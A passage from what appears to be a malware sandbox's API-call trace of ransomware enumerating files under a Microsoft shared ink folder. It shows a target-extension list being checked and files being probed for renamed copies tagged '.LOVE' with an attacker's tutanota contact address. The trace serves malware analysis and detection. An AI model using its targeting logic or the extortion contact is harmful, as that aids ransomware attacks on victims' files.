(lpString1=".xls", lpString2=".xml") returned -1 [0201.550] lstrlenW (lpString=".xlsx") returned 5 [0201.550] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0201.550] lstrlenW (lpString=".ppt") returned 4 [0201.550] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0201.550] lstrlenW (lpString=".zip") returned 4 [0201.550] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.550] lstrlenW (lpString=".rar") returned 4 [0201.550] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.550] lstrlenW (lpString=".bz2") returned 4 [0201.550] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.550] lstrlenW (lpString=".7z") returned 3 [0201.550] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0201.550] lstrlenW (lpString=".dbf") returned 4 [0201.550] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0201.550] lstrlenW (lpString=".1cd") returned 4 [0201.550] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0201.550] lstrlenW (lpString=".jpg") returned 4 [0201.550] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0201.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0201.551] lstrlenW (lpString=".doc") returned 4 [0201.551] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.551] lstrlenW (lpString=".docx") returned 5 [0201.551] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0201.551] lstrlenW (lpString=".pdf") returned 4 [0201.551] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.551] lstrlenW (lpString=".xls") returned 4 [0201.551] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.551] lstrlenW (lpString=".xlsx") returned 5 [0201.551] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0201.551] lstrlenW (lpString=".ppt") returned 4 [0201.551] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0201.551] lstrlenW (lpString=".zip") returned 4 [0201.551] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.551] lstrlenW (lpString=".rar") returned 4 [0201.551] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.551] lstrlenW (lpString=".bz2") returned 4 [0201.551] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.551] lstrlenW (lpString=".7z") returned 3 [0201.551] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0201.551] lstrlenW (lpString=".dbf") returned 4 [0201.551] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0201.551] lstrlenW (lpString=".1cd") returned 4 [0201.551] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0201.551] lstrlenW (lpString=".jpg") returned 4 [0201.552] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.552] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0201.552] lstrlenW (lpString="oskclearui.xml") returned 14 [0201.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0201.552] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=221) returned 1 [0201.552] CloseHandle (hObject=0x2d8) returned 1 [0201.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml")) returned 0x20 [0201.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0201.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0201.552] lstrlenW (lpString=".doc") returned 4 [0201.552] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.553] lstrlenW (lpString=".docx") returned 5 [0201.553] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0201.553] lstrlenW (lpString=".pdf") returned 4 [0201.553] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.553] lstrlenW (lpString=".xls") returned 4 [0201.553] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.553] lstrlenW (lpString=".xlsx") returned 5 [0201.553] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0201.553] lstrlenW (lpString=".ppt") returned 4 [0201.553] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0201.553] lstrlenW (lpString=".zip") returned 4 [0201.553] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.553] lstrlenW (lpString=".rar") returned 4 [0201.553] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.553] lstrlenW (lpString=".bz2") returned 4 [0201.553] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.553] lstrlenW (lpString=".7z") returned 3 [0201.553] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0201.553] lstrlenW (lpString=".dbf") returned 4 [0201.553] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0201.553] lstrlenW (lpString=".1cd") returned 4 [0201.553] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0201.553] lstrlenW (lpString=".jpg") returned 4 [0201.553] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0201.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0201.554] lstrlenW (lpString=".doc") returned 4 [0201.554] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.554] lstrlenW (lpString=".docx") returned 5 [0201.554] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0201.554] lstrlenW (lpString=".pdf") returned 4 [0201.554] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.554] lstrlenW (lpString=".xls") returned 4 [0201.554] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.554] lstrlenW (lpString=".xlsx") returned 5 [0201.554] lstrcmpiW (lpString1=".xlsx", lpString2="i.xml") returned -1 [0201.554] lstrlenW (lpString=".ppt") returned 4 [0201.554] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0201.554] lstrlenW (lpString=".zip") returned 4 [0201.554] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.554] lstrlenW (lpString=".rar") returned 4 [0201.554] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.554] lstrlenW (lpString=".bz2") returned 4 [0201.554] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.554] lstrlenW (lpString=".7z") returned 3 [0201.554] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0201.554] lstrlenW (lpString=".dbf") returned 4 [0201.554] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0201.554] lstrlenW (lpString=".1cd") returned 4 [0201.554] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 79 [0201.554] lstrlenW (lpString=".jpg") returned 4 [0201.554] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.555] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0201.555] lstrlenW (lpString="oskmenubase.xml") returned 15 [0201.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0201.654] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=471) returned 1 [0201.654] CloseHandle (hObject=0x328) returned 1 [0201.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml")) returned 0x20 [0201.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0201.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0201.655] lstrlenW (lpString=".doc") returned 4 [0201.655] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.655] lstrlenW (lpString=".docx") returned 5 [0201.655] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0201.655] lstrlenW (lpString=".pdf") returned 4 [0201.655] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.655] lstrlenW (lpString=".xls") returned 4 [0201.655] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.655] lstrlenW (lpString=".xlsx") returned 5 [0201.655] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0201.655] lstrlenW (lpString=".ppt") returned 4 [0201.655] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0201.655] lstrlenW (lpString=".zip") returned 4 [0201.655] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.655] lstrlenW (lpString=".rar") returned 4 [0201.655] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.655] lstrlenW (lpString=".bz2") returned 4 [0201.655] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.655] lstrlenW (lpString=".7z") returned 3 [0201.655] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0201.655] lstrlenW (lpString=".dbf") returned 4 [0201.655] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0201.655] lstrlenW (lpString=".1cd") returned 4 [0201.656] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0201.656] lstrlenW (lpString=".jpg") returned 4 [0201.656] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0201.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0201.656] lstrlenW (lpString=".doc") returned 4 [0201.656] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.656] lstrlenW (lpString=".docx") returned 5 [0201.656] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0201.656] lstrlenW (lpString=".pdf") returned 4 [0201.656] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.656] lstrlenW (lpString=".xls") returned 4 [0201.656] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.656] lstrlenW (lpString=".xlsx") returned 5 [0201.656] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0201.656] lstrlenW (lpString=".ppt") returned 4 [0201.656] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0201.656] lstrlenW (lpString=".zip") returned 4 [0201.656] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.656] lstrlenW (lpString=".rar") returned 4 [0201.656] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.656] lstrlenW (lpString=".bz2") returned 4 [0201.656] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.656] lstrlenW (lpString=".7z") returned 3 [0201.656] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0201.656] lstrlenW (lpString=".dbf") returned 4 [0201.657] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0201.657] lstrlenW (lpString=".1cd") returned 4 [0201.657] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0201.657] lstrlenW (lpString=".jpg") returned 4 [0201.657] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.657] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0201.657] lstrlenW (lpString="osknavbase.xml") returned 14 [0201.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0201.659] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=1069) returned 1 [0201.659] CloseHandle (hObject=0x328) returned 1 [0201.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml")) returned 0x20 [0201.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0201.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0201.659] lstrlenW (lpString=".doc") returned 4 [0201.659] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.659] lstrlenW (lpString=".docx") returned 5 [0201.659] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0201.659] lstrlenW (lpString=".pdf") returned 4 [0201.659] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.659] lstrlenW (lpString=".xls") returned 4 [0201.660] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.660] lstrlenW (lpString=".xlsx") returned 5 [0201.660] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0201.660] lstrlenW (lpString=".ppt") returned 4 [0201.660] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0201.660] lstrlenW (lpString=".zip") returned 4 [0201.660] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.660] lstrlenW (lpString=".rar") returned 4 [0201.660] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.660] lstrlenW (lpString=".bz2") returned 4 [0201.660] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.660] lstrlenW (lpString=".7z") returned 3 [0201.660] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0201.660] lstrlenW (lpString=".dbf") returned 4 [0201.660] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0201.660] lstrlenW (lpString=".1cd") returned 4 [0201.660] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0201.660] lstrlenW (lpString=".jpg") returned 4 [0201.660] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0201.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0201.660] lstrlenW (lpString=".doc") returned 4 [0201.660] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.660] lstrlenW (lpString=".docx") returned 5 [0201.660] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0201.660] lstrlenW (lpString=".pdf") returned 4 [0201.661] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.661] lstrlenW (lpString=".xls") returned 4 [0201.661] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.661] lstrlenW (lpString=".xlsx") returned 5 [0201.661] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0201.661] lstrlenW (lpString=".ppt") returned 4 [0201.661] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0201.661] lstrlenW (lpString=".zip") returned 4 [0201.661] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.661] lstrlenW (lpString=".rar") returned 4 [0201.661] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.661] lstrlenW (lpString=".bz2") returned 4 [0201.661] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.661] lstrlenW (lpString=".7z") returned 3 [0201.661] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0201.661] lstrlenW (lpString=".dbf") returned 4 [0201.661] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0201.661] lstrlenW (lpString=".1cd") returned 4 [0201.661] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0201.661] lstrlenW (lpString=".jpg") returned 4 [0201.661] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.661] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0201.661] lstrlenW (lpString="osknav.xml") returned 10 [0201.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0201.673] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=213) returned 1 [0201.673] CloseHandle (hObject=0x328) returned 1 [0201.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml")) returned 0x20 [0201.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0201.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0201.677] lstrlenW (lpString=".doc") returned 4 [0201.677] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.677] lstrlenW (lpString=".docx") returned 5 [0201.677] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1 [0201.677] lstrlenW (lpString=".pdf") returned 4 [0201.677] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.677] lstrlenW (lpString=".xls") returned 4 [0201.677] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.677] lstrlenW (lpString=".xlsx") returned 5 [0201.677] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1 [0201.678] lstrlenW (lpString=".ppt") returned 4 [0201.678] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0201.678] lstrlenW (lpString=".zip") returned 4 [0201.678] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.678] lstrlenW (lpString=".rar") returned 4 [0201.678] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.678] lstrlenW (lpString=".bz2") returned 4 [0201.678] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.678] lstrlenW (lpString=".7z") returned 3 [0201.678] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0201.678] lstrlenW (lpString=".dbf") returned 4 [0201.678] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0201.678] lstrlenW (lpString=".1cd") returned 4 [0201.678] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0201.678] lstrlenW (lpString=".jpg") returned 4 [0201.678] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0201.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 75 [0201.678] lstrlenW (lpString=".doc") returned 4 [0201.678] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 